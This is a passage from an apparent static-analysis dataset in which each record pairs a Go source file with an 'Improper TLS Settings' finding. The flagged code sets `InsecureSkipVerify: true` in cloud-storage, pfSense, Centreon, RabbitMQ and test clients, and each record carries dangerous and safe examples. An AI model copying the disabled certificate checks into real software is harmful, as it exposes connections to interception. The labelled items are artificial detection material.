{}}]}} {"id": "d8cb0df2f2876475ce1d7c08ada1731c4cae186945dc9246c17cbd71b7a09340", "license": {"spdx": ["BSD-3-Clause"], "repo": "a07061625/jilibs", "path": "mpf/api/qcloud/base.go", "repo_head_hexsha": "3faa710eb4665b6ab16537dba57d94f9b81b9adc", "stack_hexsha": "904b7874b7b0ed6472a346898c044e7ed5b0b4fd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 104, "entireCode": "/**\n * Created by GoLand.\n * User: 姜伟\n * Date: 2020/1/2 0002\n * Time: 9:53\n */\npackage qcloud\n\nimport (\n \"crypto/tls\"\n \"net/url\"\n \"sort\"\n \"strconv\"\n \"strings\"\n \"time\"\n\n \"github.com/a07061625/gompf/mpf\"\n \"github.com/a07061625/gompf/mpf/api\"\n \"github.com/a07061625/gompf/mpf/mpconstant/errorcode\"\n \"github.com/a07061625/gompf/mpf/mpconstant/project\"\n \"github.com/a07061625/gompf/mpf/mperr\"\n \"github.com/valyala/fasthttp\"\n)\n\ntype baseQCloud struct {\n api.APIOuter\n}\n\nfunc newBase() baseQCloud {\n return baseQCloud{api.NewAPIOuter()}\n}\n\ntype BaseCos struct {\n baseQCloud\n ReqUri string // 请求uri\n signParams map[string]string // 参与签名的请求参数列表\n signHeaders map[string]string // 参与签名的请求头列表\n signExpireTime int64 // 签名有效时间,单位为秒\n}\n\nfunc (cos *BaseCos) SetParamData(key, val string) {\n lowerKey := strings.ToLower(key)\n cos.ReqData[key] = val\n cos.signParams[lowerKey] = val\n}\n\nfunc (cos *BaseCos) SetHeaderData(key, val string) {\n lowerKey := strings.ToLower(key)\n cos.ReqHeader[key] = val\n cos.signHeaders[lowerKey] = val\n}\n\nfunc (cos *BaseCos) SetSignExpireTime(signExpireTime int64) {\n if signExpireTime > 0 {\n cos.signExpireTime = signExpireTime\n } else {\n panic(mperr.NewQCloudCos(errorcode.QCloudCosParam, \"签名有效时间不合法\", nil))\n }\n}\n\nfunc (cos *BaseCos) createSign() {\n pkParams := mpf.NewHTTPParamKey(cos.signParams)\n sort.Sort(pkParams)\n sortParams := pkParams.Params\n paramLength := len(sortParams)\n paramList := make([]string, 0)\n paramValues := url.Values{}\n for i := 0; i < paramLength; i++ {\n paramList = append(paramList, sortParams[i].Key)\n paramValues.Add(sortParams[i].Key, sortParams[i].Val)\n }\n\n pkHeaders := mpf.NewHTTPParamKey(cos.signHeaders)\n sort.Sort(pkHeaders)\n sortHeaders := pkHeaders.Params\n headerLength := len(sortHeaders)\n headerList := make([]string, 0)\n headerValues := url.Values{}\n for j := 0; j < headerLength; j++ {\n headerList = append(headerList, sortHeaders[j].Key)\n headerValues.Add(sortHeaders[j].Key, sortHeaders[j].Val)\n }\n\n nowTime := time.Now().Unix()\n endTime := nowTime + cos.signExpireTime\n signTime := strconv.FormatInt(nowTime, 10) + \";\" + strconv.FormatInt(endTime, 10)\n\n conf := NewConfig().GetCos()\n signKey := mpf.HashSha1(signTime, conf.GetSecretKey())\n httpStr := strings.ToLower(cos.ReqMethod) + \"\\n\" + cos.ReqUri + \"\\n\" + paramValues.Encode() + \"\\n\" + headerValues.Encode() + \"\\n\"\n signStr := \"sha1\\n\" + signTime + \"\\n\" + mpf.HashSha1(httpStr, \"\") + \"\\n\"\n\n cos.ReqHeader[\"Authorization\"] = \"q-sign-algorithm=sha1&q-ak=\" + conf.GetSecretId()\n cos.ReqHeader[\"Authorization\"] += \"&q-sign-time=\" + signTime\n cos.ReqHeader[\"Authorization\"] += \"&q-key-time=\" + signTime\n cos.ReqHeader[\"Authorization\"] += \"&q-header-list=\" + strings.Join(headerList, \";\")\n cos.ReqHeader[\"Authorization\"] += \"&q-url-param-list=\" + strings.Join(paramList, \";\")\n cos.ReqHeader[\"Authorization\"] += \"&q-signature=\" + mpf.HashSha1(signStr, signKey)\n}\n\nfunc (cos *BaseCos) GetRequest() (*fasthttp.Client, *fasthttp.Request) {\n cos.createSign()\n client := &fasthttp.Client{}\n client.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n\n req := fasthttp.AcquireRequest()\n req.Header.SetRequestURI(cos.ReqURI)\n req.Header.SetContentType(cos.ReqContentType)\n req.Header.SetMethod(cos.ReqMethod)\n mpf.HTTPAddReqHeader(req, cos.ReqHeader)\n\n return client, req\n}\n\nfunc NewCos() BaseCos {\n conf := NewConfig().GetCos()\n cos := BaseCos{newBase(), \"\", make(map[string]string), make(map[string]string), 0}\n cos.ReqUri = \"/\"\n cos.signExpireTime = 30\n cos.SetHeaderData(\"Host\", conf.GetBucketHost())\n cos.ReqContentType = project.HTTPContentTypeXML\n cos.ReqMethod = fasthttp.MethodGet\n return cos\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 104, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "46ad808a735b6777d38a43c4da0e86121d251c97a405d7139a0a6a790606c8ad", "license": {"spdx": ["Apache-2.0"], "repo": "slamdev/pfsenser", "path": "pkg/xmlrpc/client.go", "repo_head_hexsha": "d90229eae92f67b41f78cf19c829a33afb520870", "stack_hexsha": "34986bca932fdccdb8f76d13926d96950f13d0f0", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 33, "entireCode": "package xmlrpc\n\nimport (\n\t\"alexejk.io/go-xmlrpc\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n)\n\ntype PfsenseClient interface {\n\tBackupConfigSection(section string) (Config, error)\n\tRestoreConfigSection(cfg Config) error\n\tConfigureUnbound() error\n\tConfigureDhcpd() error\n\tClose() error\n}\n\ntype OperationResult struct {\n\tSuccess bool\n}\n\ntype client struct {\n\t*xmlrpc.Client\n}\n\nfunc NewPfsenseClient(url string, username string, password string, insecure bool) (PfsenseClient, error) {\n\thttpClient := &http.Client{Timeout: time.Second * 10}\n\tif insecure {\n\t\thttpClient.Transport = &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t}\n\theaders := map[string]string{\n\t\t\"Authorization\": \"Basic \" + base64.StdEncoding.EncodeToString([]byte(username+\":\"+password)),\n\t}\n\tc, err := xmlrpc.NewClient(url, xmlrpc.HttpClient(httpClient), xmlrpc.Headers(headers))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create xmlrpc client; %w\", err)\n\t}\n\treturn &client{c}, nil\n}\n\nfunc (c *client) RestoreConfigSection(cfg Config) error {\n\tres := &OperationResult{}\n\tif err := c.Call(\"pfsense.restore_config_section\", cfg, res); err != nil {\n\t\treturn fmt.Errorf(\"failed to restore config section; %w\", err)\n\t}\n\tif !res.Success {\n\t\treturn errors.New(\"pfsense return 'false' as a result of config restoring\")\n\t}\n\treturn nil\n}\n\nfunc (c *client) BackupConfigSection(section string) (Config, error) {\n\treq := &struct{ Data []string }{Data: []string{section}}\n\tres := &Config{}\n\tif err := c.Call(\"pfsense.backup_config_section\", req, res); err != nil {\n\t\treturn Config{}, fmt.Errorf(\"failed to call %s; %w\", \"backup_config_section\", err)\n\t}\n\treturn *res, nil\n}\n\nfunc (c *client) ConfigureUnbound() error {\n\tcode := `$toreturn = services_unbound_configure(false);`\n\tif err := c.execPhp(code); err != nil {\n\t\treturn fmt.Errorf(\"failed to exec php to configure unbound\")\n\t}\n\treturn nil\n}\n\nfunc (c *client) ConfigureDhcpd() error {\n\tcode := `$toreturn = services_dhcpd_configure();`\n\tif err := c.execPhp(code); err != nil {\n\t\treturn fmt.Errorf(\"failed to exec php to configure dhcpd\")\n\t}\n\treturn nil\n}\n\nfunc (c *client) execPhp(code string) error {\n\treq := &struct{ Data string }{Data: code}\n\tres := &OperationResult{}\n\tif err := c.Call(\"pfsense.exec_php\", req, res); err != nil {\n\t\treturn fmt.Errorf(\"failed to exec php; %w\", err)\n\t}\n\tif !res.Success {\n\t\treturn errors.New(\"pfsense return 'false' as a result of exec php\")\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 33, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "abffc039c0e6c05c47b6fd4178a813553dcb57840e6a1fcfc7421e9733473bfb", "license": {"spdx": ["Apache-2.0"], "repo": "Tonkonozhenko/drone-cache", "path": "storage/backend/gcs/gcs_test.go", "repo_head_hexsha": "3172b74d6b3e9c1905b0a18f7fcb69604483609b", "stack_hexsha": "a7b02e0c07e1e4bebc8f99d988c17bf0f0d915d8", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 128, "entireCode": "// +build integration\n\npackage gcs\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tgcstorage \"cloud.google.com/go/storage\"\n\t\"github.com/go-kit/kit/log\"\n\t\"github.com/meltwater/drone-cache/test\"\n\t\"google.golang.org/api/option\"\n)\n\nconst (\n\tdefaultEndpoint = \"http://127.0.0.1:4443/storage/v1/\"\n\tdefaultPublicHost = \"localhost:4443\"\n\tdefaultApiKey = \"\"\n\tbucketName = \"gcs-round-trip\"\n)\n\nvar (\n\tendpoint = getEnv(\"TEST_GCS_ENDPOINT\", defaultEndpoint)\n\tapiKey = getEnv(\"TEST_GCS_API_KEY\", defaultApiKey)\n\tpublicHost = getEnv(\"TEST_STORAGE_EMULATOR_HOST\", defaultPublicHost)\n)\n\nfunc TestRoundTrip(t *testing.T) {\n\tt.Parallel()\n\n\tbackend, cleanUp := setup(t)\n\tt.Cleanup(cleanUp)\n\n\tcontent := \"Hello world4\"\n\n\t// Test Put\n\ttest.Ok(t, backend.Put(context.TODO(), \"test.txt\", strings.NewReader(content)))\n\n\t// Test Get\n\tbackend = getBackend(t, bucketName) // This weird env set and unset dance has to be made to mak it work with GCP client.\n\tvar buf bytes.Buffer\n\ttest.Ok(t, backend.Get(context.Background(), \"test.txt\", &buf))\n\n\tb, err := ioutil.ReadAll(&buf)\n\ttest.Ok(t, err)\n\n\ttest.Equals(t, []byte(content), b)\n\n\texists, err := backend.Exists(context.TODO(), \"test.txt\")\n\ttest.Ok(t, err)\n\n\ttest.Equals(t, true, exists)\n}\n\n// Helpers\n\nfunc setup(t *testing.T) (*Backend, func()) {\n\tclient := newClient(t)\n\tbucket := client.Bucket(bucketName)\n\n\ttest.Ok(t, bucket.Create(context.Background(), \"drone-cache\", &gcstorage.BucketAttrs{}))\n\n\treturn putBackend(t, bucketName), func() {\n\t\t_ = os.Unsetenv(\"STORAGE_EMULATOR_HOST\")\n\t\t_ = bucket.Delete(context.Background())\n\t\t_ = client.Close()\n\t}\n}\n\nfunc putBackend(t *testing.T, bucketName string) *Backend {\n\tb, err := New(\n\t\tlog.NewLogfmtLogger(os.Stdout),\n\t\tConfig{\n\t\t\tBucket: bucketName,\n\t\t\tEndpoint: endpoint,\n\t\t\tAPIKey: apiKey,\n\t\t\tTimeout: 30 * time.Second,\n\t\t},\n\t)\n\ttest.Ok(t, err)\n\n\treturn b\n}\n\nfunc getBackend(t *testing.T, bucketName string) *Backend {\n\t// This weird env set and unset dance has to be made to mak it work with GCP client.\n\tif _, ok := os.LookupEnv(\"STORAGE_EMULATOR_HOST\"); !ok {\n\t\ttest.Ok(t, os.Setenv(\"STORAGE_EMULATOR_HOST\", publicHost))\n\t}\n\n\tb, err := New(\n\t\tlog.NewLogfmtLogger(os.Stdout),\n\t\tConfig{\n\t\t\tBucket: bucketName,\n\t\t\tEndpoint: endpoint,\n\t\t\tAPIKey: apiKey,\n\t\t\tTimeout: 30 * time.Second,\n\t\t},\n\t)\n\ttest.Ok(t, err)\n\n\t_ = os.Unsetenv(\"STORAGE_EMULATOR_HOST\")\n\treturn b\n}\n\nfunc newClient(t *testing.T) *gcstorage.Client {\n\tvar opts []option.ClientOption\n\n\tif apiKey != \"\" {\n\t\topts = append(opts, option.WithAPIKey(apiKey))\n\t} else {\n\t\topts = append(opts, option.WithoutAuthentication())\n\t}\n\n\tif endpoint != \"\" {\n\t\topts = append(opts, option.WithEndpoint(endpoint))\n\t}\n\n\tif !strings.HasPrefix(endpoint, \"https://\") {\n\t\topts = append(opts, option.WithHTTPClient(&http.Client{Transport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // ignore expired SSL certificates\n\t\t}}))\n\t}\n\n\tclient, err := gcstorage.NewClient(context.Background(), opts...)\n\ttest.Ok(t, err)\n\n\treturn client\n}\n\nfunc getEnv(key, defaultVal string) string {\n\tvalue, ok := os.LookupEnv(key)\n\tif !ok {\n\t\treturn defaultVal\n\t}\n\n\treturn value\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 128, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "52531e647862a34fe965932faf70b28532f79d9890a6b2db2a0d2e3ba4da5523", "license": {"spdx": ["Apache-2.0"], "repo": "mmitoraj/kyma", "path": "tests/integration/api-gateway/gateway-tests/pkg/jwt/auth.go", "repo_head_hexsha": "10ae3a8acf7d57a329efa605890d11f9a9b40991", "stack_hexsha": "37ba0a7a554e1c2158726b1f01950e1d422ed2a7", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 20, "entireCode": "package jwt\n\nimport (\n\t\"crypto/tls\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\n\t\"golang.org/x/net/publicsuffix\"\n)\n\nfunc Authenticate(oauthClientID string, config oidcHydraConfig) (string, error) {\n\tjar, err := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\thttpClient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t\tTimeout: config.ClientConfig.TimeoutSeconds,\n\t\tJar: jar,\n\t}\n\n\tidTokenProvider := newOidcHydraTestFlow(httpClient, config)\n\ttoken, err := idTokenProvider.fetchIdToken()\n\n\treturn token, err\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 20, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "a1e0715048ba1222137d943a7c6b5afb629be841d32f64e077d40ae1b0dd8a78", "license": {"spdx": ["MIT"], "repo": "disaster37/go-centreon-rest", "path": "client.go", "repo_head_hexsha": "92cdd1dd031e3bd8492c60ebcac00598c2bec651", "stack_hexsha": "db1251532e1ebd662e423d9c4475e6568d9e8cce", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 47, "entireCode": "package centreon\n\nimport (\n\t\"crypto/tls\"\n\t\"net/http\"\n\n\t\"github.com/disaster37/go-centreon-rest/v21/api\"\n\t\"github.com/disaster37/go-centreon-rest/v21/models\"\n\t\"github.com/go-resty/resty/v2\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\n// Client contain the REST client and the API specification\ntype Client struct {\n\tAPI centreonapi.API\n\tconfig *models.Config\n}\n\n// NewDefaultClient init client with empty config\nfunc NewDefaultClient() (*Client, error) {\n\treturn NewClient(&models.Config{})\n}\n\n// NewClient init client with custom config\nfunc NewClient(cfg *models.Config) (*Client, error) {\n\tif cfg.Address == \"\" {\n\t\tcfg.Address = \"http://localhost/api/v2.0\"\n\t}\n\n\trestyClient := resty.New().\n\t\tSetHostURL(cfg.Address).\n\t\tSetHeader(\"Content-Type\", \"application/json\").\n\t\tSetTimeout(cfg.Timeout).\n\t\tSetDebug(cfg.Debug).\n\t\tSetCookieJar(nil).\n\t\tSetRetryCount(2).\n\t\tSetQueryParams(map[string]string{\n\t\t\t\"action\": \"action\",\n\t\t\t\"object\": \"centreon_clapi\",\n\t\t})\n\n\tfor _, path := range cfg.CAs {\n\t\trestyClient.SetRootCertificate(path)\n\t}\n\n\tif cfg.DisableVerifySSL == true {\n\t\trestyClient.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})\n\t}\n\n\tclient := &Client{\n\t\tAPI: centreonapi.New(restyClient, cfg),\n\t\tconfig: cfg,\n\t}\n\n\t// handle refresh token when get Unauthorized\n\trestyClient.AddRetryCondition(func(r *resty.Response, e error) bool {\n\t\tif r.StatusCode() == http.StatusUnauthorized {\n\t\t\tif err := client.API.Auth(); err != nil {\n\t\t\t\tlog.Errorf(\"Error when refresh token: %s\", err.Error())\n\t\t\t\treturn false\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t})\n\n\treturn client, nil\n\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 47, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "6ad4a0f8954828e01f4d9cc7a6a0a96de6defcb79d4796824b507cadb985ead6", "license": {"spdx": ["Apache-2.0"], "repo": "Golangltd/www.Xshooting.com.vender", "path": "vendor/src/github.com/micro/go-plugins/broker/rabbitmq/connection.go", "repo_head_hexsha": "c538919e721c9933a9dc79127d08f60ae568492a", "stack_hexsha": "b115a01d276c1a3b7f56a33a7f17bead98cb9f41", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 169, "entireCode": "package rabbitmq\n\n//\n// All credit to Mondo\n//\n\nimport (\n\t\"crypto/tls\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/streadway/amqp\"\n)\n\nvar (\n\tDefaultExchange = \"micro\"\n\tDefaultRabbitURL = \"amqp://guest:guest@127.0.0.1:5672\"\n\tDefaultPrefetchCount = 0\n\tDefaultPrefetchGlobal = false\n\tDefaultRequeueOnError = false\n\n\tdial = amqp.Dial\n\tdialTLS = amqp.DialTLS\n)\n\ntype rabbitMQConn struct {\n\tConnection *amqp.Connection\n\tChannel *rabbitMQChannel\n\tExchangeChannel *rabbitMQChannel\n\texchange string\n\turl string\n\tprefetchCount int\n\tprefetchGlobal bool\n\n\tsync.Mutex\n\tconnected bool\n\tclose chan bool\n\n\twaitConnection chan struct{}\n}\n\nfunc newRabbitMQConn(exchange string, urls []string, prefetchCount int, prefetchGlobal bool) *rabbitMQConn {\n\tvar url string\n\n\tif len(urls) > 0 && regexp.MustCompile(\"^amqp(s)?://.*\").MatchString(urls[0]) {\n\t\turl = urls[0]\n\t} else {\n\t\turl = DefaultRabbitURL\n\t}\n\n\tif len(exchange) == 0 {\n\t\texchange = DefaultExchange\n\t}\n\n\tret := &rabbitMQConn{\n\t\texchange: exchange,\n\t\turl: url,\n\t\tprefetchCount: prefetchCount,\n\t\tprefetchGlobal: prefetchGlobal,\n\t\tclose: make(chan bool),\n\t\twaitConnection: make(chan struct{}),\n\t}\n\t// its bad case of nil == waitConnection, so close it at start\n\tclose(ret.waitConnection)\n\treturn ret\n}\n\nfunc (r *rabbitMQConn) connect(secure bool, config *tls.Config) error {\n\t// try connect\n\tif err := r.tryConnect(secure, config); err != nil {\n\t\treturn err\n\t}\n\n\t// connected\n\tr.Lock()\n\tr.connected = true\n\tr.Unlock()\n\n\t// create reconnect loop\n\tgo r.reconnect(secure, config)\n\treturn nil\n}\n\nfunc (r *rabbitMQConn) reconnect(secure bool, config *tls.Config) {\n\t// skip first connect\n\tvar connect bool\n\n\tfor {\n\t\tif connect {\n\t\t\t// try reconnect\n\t\t\tif err := r.tryConnect(secure, config); err != nil {\n\t\t\t\ttime.Sleep(1 * time.Second)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// connected\n\t\t\tr.Lock()\n\t\t\tr.connected = true\n\t\t\tr.Unlock()\n\t\t\t//unblock resubscribe cycle - close channel\n\t\t\t//at this point channel is created and unclosed - close it without any additional checks\n\t\t\tclose(r.waitConnection)\n\t\t}\n\n\t\tconnect = true\n\t\tnotifyClose := make(chan *amqp.Error)\n\t\tr.Connection.NotifyClose(notifyClose)\n\n\t\t// block until closed\n\t\tselect {\n\t\tcase <-notifyClose:\n\t\t\t// block all resubscribe attempt - they are useless because there is no connection to rabbitmq\n\t\t\t// create channel 'waitConnection' (at this point channel is nil or closed, create it without unnecessary checks)\n\t\t\tr.Lock()\n\t\t\tr.connected = false\n\t\t\tr.waitConnection = make(chan struct{})\n\t\t\tr.Unlock()\n\t\tcase <-r.close:\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (r *rabbitMQConn) Connect(secure bool, config *tls.Config) error {\n\tr.Lock()\n\n\t// already connected\n\tif r.connected {\n\t\tr.Unlock()\n\t\treturn nil\n\t}\n\n\t// check it was closed\n\tselect {\n\tcase <-r.close:\n\t\tr.close = make(chan bool)\n\tdefault:\n\t\t// no op\n\t\t// new conn\n\t}\n\n\tr.Unlock()\n\n\treturn r.connect(secure, config)\n}\n\nfunc (r *rabbitMQConn) Close() error {\n\tr.Lock()\n\tdefer r.Unlock()\n\n\tselect {\n\tcase <-r.close:\n\t\treturn nil\n\tdefault:\n\t\tclose(r.close)\n\t\tr.connected = false\n\t}\n\n\treturn r.Connection.Close()\n}\n\nfunc (r *rabbitMQConn) tryConnect(secure bool, config *tls.Config) error {\n\tvar err error\n\n\tif secure || config != nil || strings.HasPrefix(r.url, \"amqps://\") {\n\t\tif config == nil {\n\t\t\tconfig = &tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t}\n\t\t}\n\n\t\turl := strings.Replace(r.url, \"amqp://\", \"amqps://\", 1)\n\t\tr.Connection, err = dialTLS(url, config)\n\t} else {\n\t\tr.Connection, err = dial(r.url)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif r.Channel, err = newRabbitChannel(r.Connection, r.prefetchCount, r.prefetchGlobal); err != nil {\n\t\treturn err\n\t}\n\n\tr.Channel.DeclareExchange(r.exchange)\n\tr.ExchangeChannel, err = newRabbitChannel(r.Connection, r.prefetchCount, r.prefetchGlobal)\n\n\treturn err\n}\n\nfunc (r *rabbitMQConn) Consume(queue, key string, headers amqp.Table, autoAck, durableQueue bool) (*rabbitMQChannel, <-chan amqp.Delivery, error) {\n\tconsumerChannel, err := newRabbitChannel(r.Connection, r.prefetchCount, r.prefetchGlobal)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif durableQueue {\n\t\terr = consumerChannel.DeclareDurableQueue(queue)\n\t} else {\n\t\terr = consumerChannel.DeclareQueue(queue)\n\t}\n\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tdeliveries, err := consumerChannel.ConsumeQueue(queue, autoAck)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\terr = consumerChannel.BindQueue(queue, key, r.exchange, headers)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn consumerChannel, deliveries, nil\n}\n\nfunc (r *rabbitMQConn) Publish(exchange, key string, msg amqp.Publishing) error {\n\treturn r.ExchangeChannel.Publish(exchange, key, msg)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 169, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "6e211dbc47404e29c3fe84b173df211b16662bc5b5fc54759f798e1e567ebd4a", "license": {"spdx": ["Apache-2.0"], "repo": "alrs/gravity", "path": "lib/pack/webpack/webpack_test.go", "repo_head_hexsha": "42e8774a7f20170e3a6823017660e181bec61151", "stack_hexsha": "8efdc01925593c6918b62184b6ad6d6168138025", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 170, "entireCode": "/*\nCopyright 2018 Gravitational, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage webpack\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gravitational/gravity/lib/blob/fs\"\n\t\"github.com/gravitational/gravity/lib/defaults\"\n\t\"github.com/gravitational/gravity/lib/loc\"\n\t\"github.com/gravitational/gravity/lib/pack/localpack\"\n\t\"github.com/gravitational/gravity/lib/pack/suite\"\n\t\"github.com/gravitational/gravity/lib/storage\"\n\t\"github.com/gravitational/gravity/lib/storage/keyval\"\n\t\"github.com/gravitational/gravity/lib/users\"\n\t\"github.com/gravitational/gravity/lib/users/usersservice\"\n\n\t\"github.com/gravitational/roundtrip\"\n\tteleservices \"github.com/gravitational/teleport/lib/services\"\n\t\"github.com/gravitational/trace\"\n\t\"github.com/mailgun/timetools\"\n\tlog \"github.com/sirupsen/logrus\"\n\t. \"gopkg.in/check.v1\"\n)\n\nfunc TestWebpack(t *testing.T) { TestingT(t) }\n\ntype WebpackSuite struct {\n\tserver *Server\n\tbackend storage.Backend\n\tsuite suite.PackageSuite\n\twebServer *httptest.Server\n\tusers users.Identity\n\tclock *timetools.FreezedTime\n\n\tagentUser storage.User\n\tadminUser storage.User\n\n\tdir string\n}\n\nvar _ = Suite(&WebpackSuite{\n\tclock: &timetools.FreezedTime{\n\t\tCurrentTime: time.Date(2015, 11, 16, 1, 